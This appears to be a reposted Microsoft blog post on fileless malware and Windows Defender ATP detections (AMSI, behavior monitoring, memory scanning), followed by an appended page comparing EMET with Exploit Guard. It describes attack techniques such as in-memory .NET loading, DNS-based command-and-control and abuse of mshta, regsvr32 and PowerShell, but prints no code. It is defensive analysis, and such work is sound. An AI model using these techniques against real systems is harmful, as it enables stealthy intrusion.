The two aforementioned obfuscated scripts are actual malware detected and blocked in the wild by antivirus capabilities in Windows Defender ATP. Removing the first layer of obfuscation reveals a code that, while still partially obfuscated, showed some functions related to a fileless malware technique called Sharpshooter. We found the two scripts, which were variants of the same malware, not long after the Sharpshooter technique was documented and published by MDSec in 2017.

The Sharpshooter technique allows an attacker to use a script to execute a .NET binary directly from memory without ever needing to reside on the disk. This technique provides a framework that can enable attackers to easily repackage the same binary payload within a script. As demonstrated by the example of the two scripts, files that use the Sharpshooter technique can then be used in social engineering attacks to lure users into running the script to deliver a fileless payload.

Screenshot of obfuscated scriptFigure 1. Obfuscated code from install_flash_player.js script

Screenshot of the script which contains functions typically used in the Sharpshooter technique

Figure 2. After de-obfuscation, the script contains functions typically used in the Sharpshooter technique

When the Sharpshooter technique became public, we knew it was only a matter time before it would be used it in attacks. To protect customers from such attacks, we implemented a detection algorithm based on runtime activity rather than on the static script. In other words, the detection is effective against the Sharpshooter technique itself, thus against new and unknown threats that implement the technique. This is how Windows Defender ATP blocked the two malicious scripts at first sight, preventing the fileless payload from being loaded.

The detection algorithm leverages AMSI support in scripting engines and targets a generic malicious behavior (a fingerprint of the malicious fileless technique). Script engines have the capability to log the APIs called by a script at runtime. This API logging is dynamic and is therefore not hindered by obfuscation: a script can hide its code, but it cannot hide its behavior. The log can then be scanned by antivirus solutions via AMSI when certain dangerous APIs (i.e., triggers) are invoked.

This is the dynamic log generated by the scripts and detected by Windows Defender ATP at runtime via AMSI:

Screenshot of the dynamic AMSI log generated during the execution of the Sharpshooter techniqueFigure 3. Dynamic AMSI log generated during the execution of the Sharpshooter technique in the two malicious scripts

Using this AMSI-aided detection, Windows Defender ATP disrupted two distinct malware campaigns in June, as well as the steady hum of daily activities.

Figure 4. Windows Defender ATP telemetry shows two Sharpshooter campaigns in June

Furthermore, generically detecting the Sharpshooter technique allowed us to discover a particularly sophisticated and interesting attack. Windows Defender ATP’s endpoint and detection response capabilities caught a VBScript file that used the Sharpshooter technique.

Sample Windows Defender ATP alert showing how detection of the Sharpshooter technique by Windows Defender AV is surfaced in Windows Defender Security CenterFigure 5. Sample Windows Defender ATP alert showing how detection of the Sharpshooter technique by Windows Defender AV is surfaced in Windows Defender Security Center

We analyzed the script and extracted the fileless payload, a very stealthy .NET executable. The malware payload downloads data from its command-and-control (C&C) server via the TXT records of DNS queries. In particular, it downloads the initialization vector and decryption key necessary to decode the core of the malware. The said core is also fileless because it’s executed directly in memory without being written on the disk. Thus, this attack leveraged two fileless stages.

Screenshot showing that the core component of the malware is decrypted and executed from memoryFigure 6. The core component of the malware is decrypted and executed from memory

Our investigation into the incident turned up enough indicators for us to conclude that this was likely a penetration testing exercise or a test involving running actual malware, and not a real targeted attack.

Nonetheless, the use of fileless techniques and the covert network communication hidden in DNS queries make this malware similar in nature to sophisticated, real-world attacks. It also proved the effectiveness of the dynamic protection capabilities of Windows Defender ATP. In a previous blog post, we documented how such capabilities allow Windows Defender ATP to catch KRYPTON attacks and other high-profile malware.

Upward trend in fileless attacks and living off the land

Removing the need for files is the next progression of attacker techniques. Antivirus solutions have become very efficient in detecting malicious executables. Real-time protection gives visibility on each new file that lands on the disk. Furthermore, file activity leaves a trail of evidence that can be retrieved during forensic analysis. That’s why we are seeing an increase in attacks that use of malware with fileless techniques.

At a high level, a fileless malware runs its main payload directly in memory without having to drop the executable file on the disk first. This differs from traditional malware, where the payload always requires some initial executable or DLL to carry out its tasks. A common example is the Kovter malware, which stores its executable payload entirely in registry keys. Going fileless allows the attackers to avoid having to rely on physical files and improve stealth and persistence.

For attackers, building fileless attacks poses some challenges; in primis: how do you execute code if you don’t have a file? Attackers found an answer in the way they infect other components to achieve execution within these components’ environment. Such components are usually standard, legitimate tools that are present by default on a machine and whose functionality can be abused to accomplish malicious operations.

This technique is usually referred to as “living off the land”, as malware only uses resources already available in the operating system. An example is the Trojan:Win32/Holiks.A malware abusing the mshta.exe tool:

Trojan:Win32/Holiks.A is abusing mshta.exe to execute a script from command-lineFigure 7. Trojan:Win32/Holiks.A is abusing mshta.exe to execute a script from command-line

The malicious script resides only in the command line; it loads and executes further code from a registry key. The whole execution happens within the context of the mshta.exe process, which is a clean executable and tends to be trusted as a legitimate component of the operating system. Other similar tools, such as cmstp.exeregsvr32.exepowershell.exeodbcconf.exerundll3.exe, just to name a few, have been abused by attackers. Of course, the execution is not limited to scripts; the tools may allow the execution of DLLs and executables, even from remote locations in some cases.

By living off the land, fileless malware can cover its tracks: no files are available to the antivirus for scanning and only legitimate processes are executed. Windows Defender ATP overcomes this challenge by monitoring the behavior of the system for anomalies or known patterns of malicious usage of legitimate tools. For example, Trojan:Win32/Powemet.A!attk is a generic behavior-based detection designed to prevent attacks that leverage the regsvr32.exe tool to run malicious scripts.

Figure 8. Antivirus capabilities in Windows Defender ATP blocking legitimate regsvr32 tool abused to download and run a malicious remote script

What exactly is “fileless”?

The term “fileless” suggests that a threat that does not come in a file, such as a backdoor that lives only in the memory of a machine. However, there’s no generally accepted definition. The term is used broadly; it’s also used to describe malware families that do rely on files in order to operate. In the Sharpshooter example, while the payload itself is fileless, the entry point relies on scripts that need to be dropped on the target’s machine and executed. This, too, is considered a fileless attack.

Given that attacks involve several stages for functionalities like execution, persistence, information theft, lateral movement, communication with command-and-control, etc., some parts of the attack chain may be fileless, while others may involve the filesystem in some form or another.

To shed light on this loaded term, we grouped fileless threats into different categories.

Taxonomy of fileless threats

Figure 9. Taxonomy of fileless threats

We can classify fileless threats by their entry point (i.e., execution/injection, exploit, hardware), then the form of entry point (e.g., file, script, etc.), and finally by the host of the infection (e.g., Flash, Java, documents).

From this classification, we can glean three big types of fileless threats based on how much fingerprint they may leave on infected machines.

  • Type I: No file activity performed. A completely fileless malware can be considered one that never requires writing a file on the disk.
  • Type II: No files written on disk, but some files are used indirectly. There are other ways that malware can achieve fileless presence on a machine without requiring significant engineering effort. Fileless malware of this type do not directly write files on the file system, but they can end up using files indirectly.
  • Type III: Files required to achieve fileless persistence. Some malware can have some sort of fileless persistence but not without using files in order to operate.

Having described the broad categories, we can now dig into the details and provide a breakdown of the infection hosts. This comprehensive classification covers the panorama of what is usually referred to as fileless malware. It drives our efforts to research and develop new protection features that neutralize classes of attacks and ensure malware does not get the upper hand in the arms race.

Exploits Hardware Execution or injection
  • File-based (Type III: executable, Flash, Java, documents)
  • Network-based (Type I)
  • Device-based (Type I: network card, hard disk)
  • CPU-based (Type I)
  • USB-based (Type I)
  • BIOS-based (Type I)
  • Hypervisor-based (Type I)
  • File-based (Type III: executables, DLLs, LNK files, scheduled tasks)
  • Macro-based (Type III: Office documents)
  • Script-based (Type II: file, service, registry, WMI repo, shell)
  • Disk-based (Type II: Boot Record)

For a detailed description and examples of these categories, visit this comprehensive page on fileless threats.

Defeating fileless malware with next-gen protection

File-based inspection is ineffective against fileless malware. Antivirus capabilities in Windows Defender ATP use defensive layers based on dynamic behavior and integrate with other Windows technologies to detect and terminate threat activity at runtime.

Windows Defender ATP’s next-gen dynamic defenses have become of paramount importance in protecting customers from the increasingly sophisticated attacks that fileless malware exemplifies. In a previous blog post we described some of the offensive and defensive technologiesrelated to fileless attacks and how these solutions help protect our customers. Evolving from the file-centric scanning model, Windows Defender ATP uses a generic and more powerful behavior-centric detection model to neutralize generic malicious behaviors and thus take out entire classes of attack.

AMSI

Antimalware Scan Interface (AMSI) is an open framework that applications can use to request antivirus scans of any data. Windows leverages AMSI extensively in JavaScript, VBScript, and PowerShell. In addition, Office 365 client applications integrates with AMSI, enabling antivirus and other security solutions to scan macros and other scripts at runtime to check for malicious behavior. In the example above, we have shown how AMSI can be a powerful weapon to fight fileless malware.

Windows Defender ATP integrates with AMSI and consumes all AMSI signals for protection, these signals are especially effective against obfuscation. It has led to the disruption of malware campaigns like Nemucod. During a recent investigation, we stumbled upon some malicious scripts that were heavily obfuscated. We collected three samples that were evading static signatures and are a mixture of barely recognizable script code and binary junk data.

Heavy obfuscation of three different samples of TrojanDownloader:Script/Nemucod.JACFigure 10. Heavy obfuscation of three different samples of TrojanDownloader:Script/Nemucod.JAC.

However, after manual de-obfuscation, it turned out that these samples decode and execute the same .js script payload, a known downloader:

A portion of the second stage downloader decrypted by Nemucod.JACFigure 11: A portion of the second stage downloader decrypted by Nemucod.JAC

The payload does not have any obfuscation and is very easy to detect, but it never touches the disk and so could evade file-based detection. However, the scripting engine is capable of intercepting the attempt to execute the decoded payload and ensuring that the payload is passed to the installed antivirus via AMSI for inspection. Windows Defender ATP has visibility on the real payload as it’s decoded at runtime and can easily recognize known patterns and block the attack before it deals any damage.

Instead of writing a generic detection algorithm based on the obfuscation patterns in the samples, we trained an ML model on this behavior log and wrote heuristic detection to catch the decrypted scripts inspected via AMSI. The results proved effective, catching new and unknown variants, protecting almost two thousand machines in a span of two months. Traditional detection would not have been as effective.

Figure 12. Nemucod.JAC attack campaigns caught via AMSI

Behavior monitoring

Windows Defender ATP’s behavior monitoring engine provides an additional layer of antivirus protection against fileless malware. The behavior monitoring engine filters suspicious API calls. Detection algorithms can then match dynamic behaviors that use particular sequences of APIs with specific parameters and block processes that expose known malicious behaviors. Behavior monitoring is useful not only for fileless malware, but also for traditional malware where the same malicious code base gets continuously repacked, encrypted, or obfuscated. Behavior monitoring proved effective against WannaCry, which was distributed through the DoublePulsar backdoor and can be categorized as a very dangerous Type I fileless malware. While several variants of the WannaCry binaries were released in attack waves, the behavior of the ransomware remained the same, allowing antivirus capabilities in Windows Defender ATP to block new versions of the ransomware.

Behavior monitoring is particularly useful against fileless attacks that live off the land. The PowerShell reverse TCP payload from Meterpreter is an example: it can be run completely on a command line and can provide a PowerShell session to a remote attacker.

Example of a possible command line generated by MeterpreterFigure 13. Example of a possible command line generated by Meterpreter

There’s no file to scan in this attack, but through behavior monitoring in its antivirus capabilities, Windows Defender ATP can detect the creation of the PowerShell process with the particular command line required. Behavior monitoring detects and blocks numerous attacks like this on a daily basis.

Figure 14. Detections of the PowerShell reverse TCP payload

Beyond looking at events by process, behavior monitoring in Windows Defender ATP can also aggregate events across multiple processes, even if they are sparsely connected via techniques like code injection from one process to another (i.e., not just parent-child processes). Moreover, it can persist and orchestrate sharing of security signals across Windows Defender ATP components (e.g., endpoint detection and response) and trigger protection through other parts of the layered defenses.

Behavior monitoring across multiple processes is not only an effective protection against fileless malware; it’s also a tool to catch attack techniques in generic ways. Here is another example where multi process behavior monitoring in action, Pyordono.A is a detection based on multi-process events and is aimed at blocking scripting engines (JavaScript, VBScript, Office macros) that try to execute cmd.exe or powershell.exe with suspicious parameters. Windows Defender ATP telemetry shows this detection algorithm protecting users from several campaigns.

Figure 15. Pyordono.A technique detected in the wild

Recently, we saw a sudden increase in Pyordono.A encounters, reaching levels way above the average. We investigated this anomaly and uncovered a widespread campaign that used malicious Excel documents and targeted users in Italy from September 8 to 12.

Screenshot of malicious Excel document with instructions in Italian to click “Enable content”Figure 16. Malicious Excel document with instructions in Italian to click “Enable content”

The document contains a malicious macro and uses social engineering to lure potential victims into running the malicious code. (Note: We have recently integrated Office 365 clients apps with AMSI, enabling antivirus solutions to scan macros at runtime to check for malicious content).

The obfuscated macro code attempts to run an obfuscated Cmd command which in turns executes an obfuscated Powershell script. In the end, the Ursnif trojan is delivered.Figure 17. The obfuscated macro code attempts to run an obfuscated Cmd command which in turns executes an obfuscated Powershell script. In the end, the Ursnif trojan is delivered.

The macro makes use of obfuscation to execute a cmd command, which is also obfuscated. The cmd command executes a PowerShell script that in turn downloads additional data and delivers the payload, infostealing Ursnif. We recently reported a small-scale Ursnif campaign that targeted small businesses in specific US cities. Through multi-process behavior monitoring, Windows Defender ATP detected and blocked the new campaign targeting users in Italy using a generic detection algorithm without prior knowledge of the malware.

Memory scanning

Antivirus capabilities in Windows Defender ATP also employ memory scanning to detect the presence of malicious code in the memory of a running process. Even if malware can run without the use of a physical file, it does need to reside in memory in order to operate and is therefore detectable by means of memory scanning. An example is the GandCrab ransomware, which was reported to have become fileless. The payload DLL is encoded in a string, then decoded and run dynamically via PowerShell. The DLL itself is never dropped on the disk. Using memory scanning, Windows Defender ATP can scan the memory of running processes and detect known patterns of the ransomware run from the stealthy DLL.

Memory scanning, in conjunction with behavior monitoring and other dynamic defenses, helped Windows Defender ATP to disrupt a massive Dofoil campaign. Dofoil, a known nasty downloader, uses some sophisticated techniques to evade detection, including process hollowing, which allows the malware to execute in the context of a legitimate process (e.g., explorer.exe). To this day, memory scanning detects Dofoil activities.

Figure 18. Detections of the memory-resident Dofoil payload

Memory scanning is a versatile tool: when suspicious APIs or behavior monitoring events are observed at runtime, antivirus capabilities in Windows Defender ATP trigger a memory scan in key points it is more likely to observe (and detect) a payload that has been decoded and may be about to run. This gives Windows Defender ATP granular control on which actions are more interesting and may require more attention. Every day, memory scanning allows Windows Defender ATP to protect thousands of machines against active high-profile threats like Mimikatz and WannaCry.

Boot Sector protection

With Controlled folder access on Windows 10, Windows Defender ATP does not allow write operations to the boot sector, thus closing a dangerous fileless attack vector used by PetyaBadRabbit, and bootkits in general. Boot infection techniques can be suitable for fileless threats because they can allow malware to reside outside of the file system and gain control of the machine before the operating system is loaded. The use of rootkit techniques, like in the defunct Alureon malware (also known as TDSS or TDL-4), can then render the malware invisible and extremely difficult to detect and remove. With Controlled folder access, which is part of Windows Defender ATP’s attack surface reduction capabilities, this entire class of infection technique has become a thing of the past.

Control Folder Access preventing a boot sector infection attempted by PetyaFigure 19. Control Folder Access preventing a boot sector infection attempted by Petya

Windows 10 in S mode: Naturally resistant to fileless attacks

Windows 10 in S mode comes with a preconfigured set of restrictions and policies that make it naturally protected against a vast majority of the fileless techniques (and against malware in general). Among the available security features, the following ones are particularly effective against fileless threats:

For executables: Only Microsoft-verified applications from the Microsoft Store are allowed to run. Furthermore, Device Guard provides User Mode Code Integrity (UMCI) to prevent the loading of unsigned binaries.

For scripts: Scripting engines are not allowed to run (including JavaScript, VBScript, and PowerShell).

For macros: Office 365 does not allow the execution of macros in documents from the internet (for example, documents that are downloaded or received as attachment in emails from outside the organization).

For exploits: Exploit protection and Attack surface reduction rules are also available on Windows 10 in S mode as a consistent barrier against exploitation.

With these restrictions in place, Windows 10 in S mode devices are in a robust, locked down state, removing crucial attack vectors used by fileless malware.

Conclusion

As antivirus solutions become better and better at pinpointing malicious files, the natural evolution of malware is to shift to attack chains that use as few files as possible. While fileless techniques used to be employed almost exclusively in sophisticated cyberattacks, they are now becoming widespread in common malware, too.

At Microsoft, we actively monitor the security landscape to identify new threat trends and develop solutions that continuously enhance Windows security and mitigate classes of threats. We instrument durable generic detections that are effective against a wide range of threats. Through AMSI, behavior monitoring, memory scanning, and boot sector protection, we can inspect threats even with heavy obfuscation. Machine learning technologies in the cloud allow us to scale these protections against new and emerging threats.

Security solutions on Windows 10 integrate into a unified endpoint security platform in Windows Defender Advanced Threat Protection. Windows Defender ATP includes attack surface reduction, next-generation protection, endpoint protection and response, auto investigation and remediation, security posture, and advanced hunting capabilities. To test how Windows Defender ATP can help your organization detect, investigate, and respond to advanced attacks, sign up for a free trial.

Protections against fileless and other threats are shared across Microsoft 365, which integrate technologies in Windows, Office 365, and Azure. Through the Microsoft Intelligent Security Graph, security signals are shared and remediation is orchestrated across Microsoft 365.

 

 

 

Comparison between Enhanced Mitigation Experience Toolkit and Windows Defender Exploit Guard

Картинки по запросу Windows Defender Exploit Guard

 Important

If you are currently using EMET, you should be aware that EMET reached end of life on July 31, 2018. You should consider replacing EMET with exploit protection in Windows Defender ATP.

You can convert an existing EMET configuration file into Exploit protection to make the migration easier and keep your existing settings.

This topic describes the differences between the Enhance Mitigation Experience Toolkit (EMET) and exploit protection in Windows Defender ATP.

Exploit protection in Windows Defender ATP is our successor to EMET and provides stronger protection, more customization, an easier user interface, and better configuration and management options.

EMET is a standalone product for earlier versions of Windows and provides some mitigation against older, known exploit techniques.

Картинки по запросу EMET

After July 31, 2018, it will not be supported.

For more information about the individual features and mitigations available in Windows Defender ATP, as well as how to enable, configure, and deploy them to better protect your network, see the following topics:

Feature comparison

The table in this section illustrates the differences between EMET and Windows Defender Exploit Guard.

Windows Defender Exploit Guard EMET
Windows versions All versions of Windows 10 starting with version 1709 Windows 8.1; Windows 8; Windows 7
Cannot be installed on Windows 10, version 1709 and later
Installation requirements Windows Security in Windows 10
(no additional installation required)
Windows Defender Exploit Guard is built into Windows — it doesn’t require a separate tool or package for management, configuration, or deployment.
Available only as an additional download and must be installed onto a management device
User interface Modern interface integrated with the Windows Security app Older, complex interface that requires considerable ramp-up training
Supportability Dedicated submission-based support channel[1]
Part of the Windows 10 support lifecycle
Ends after July 31, 2018
Updates Ongoing updates and development of new features, released twice yearly as part of the Windows 10 semi-annual update channel No planned updates or development
Exploit protection All EMET mitigations plus new, specific mitigations (see table)
Can convert and import existing EMET configurations
Limited set of mitigations
Attack surface reduction[2] Helps block known infection vectors
Can configure individual rules
Limited ruleset configuration only for modules (no processes)
Network protection[2] Helps block malicious network connections Not available
Controlled folder access[2] Helps protect important folders
Configurable for apps and folders
Not available
Configuration with GUI (user interface) Use Windows Security app to customize and manage configurations Requires installation and use of EMET tool
Configuration with Group Policy Use Group Policy to deploy and manage configurations Available
Configuration with shell tools Use PowerShell to customize and manage configurations Requires use of EMET tool (EMET_CONF)
System Center Configuration Manager Use Configuration Manager to customize, deploy, and manage configurations Not available
Microsoft Intune Use Intune to customize, deploy, and manage configurations Not available
Reporting With Windows event logs and full audit mode reporting
Full integration with Windows Defender Advanced Threat Protection
Limited Windows event log monitoring
Audit mode Full audit mode with Windows event reporting Limited to EAF, EAF+, and anti-ROP mitigations

(1) Requires an enterprise subscription with Azure Active Directory or a Software Assurance ID.

(2) Additional requirements may apply (such as use of Windows Defender Antivirus). See Windows Defender Exploit Guard requirements for more details. Customizable mitigation options that are configured with Exploit protection do not require Windows Defender Antivirus.

Mitigation comparison

The mitigations available in EMET are included in Windows Defender Exploit Guard, under the exploit protection feature.

The table in this section indicates the availability and support of native mitigations between EMET and Exploit protection.

Mitigation Available in Windows Defender Exploit Guard Available in EMET
Arbitrary code guard (ACG) As «Memory Protection Check»
Block remote images As «Load Library Check»
Block untrusted fonts
Data Execution Prevention (DEP)
Export address filtering (EAF)
Force randomization for images (Mandatory ASLR)
NullPage Security Mitigation Included natively in Windows 10
See Mitigate threats by using Windows 10 security features for more information
Randomize memory allocations (Bottom-Up ASLR)
Simulate execution (SimExec)
Validate API invocation (CallerCheck)
Validate exception chains (SEHOP)
Validate stack integrity (StackPivot)
Certificate trust (configurable certificate pinning) Windows 10 provides enterprise certificate pinning
Heap spray allocation Ineffective against newer browser-based exploits; newer mitigations provide better protection
See Mitigate threats by using Windows 10 security features for more information
Block low integrity images
Code integrity guard
Disable extension points
Disable Win32k system calls
Do not allow child processes
Import address filtering (IAF)
Validate handle usage
Validate heap integrity
Validate image dependency integrity

 Note

The Advanced ROP mitigations that are available in EMET are superseded by ACG in Windows 10, which other EMET advanced settings are enabled by default in Windows Defender Exploit Guard as part of enabling the anti-ROP mitigations for a process.

See the Mitigation threats by using Windows 10 security features for more information on how Windows 10 employs existing EMET technology.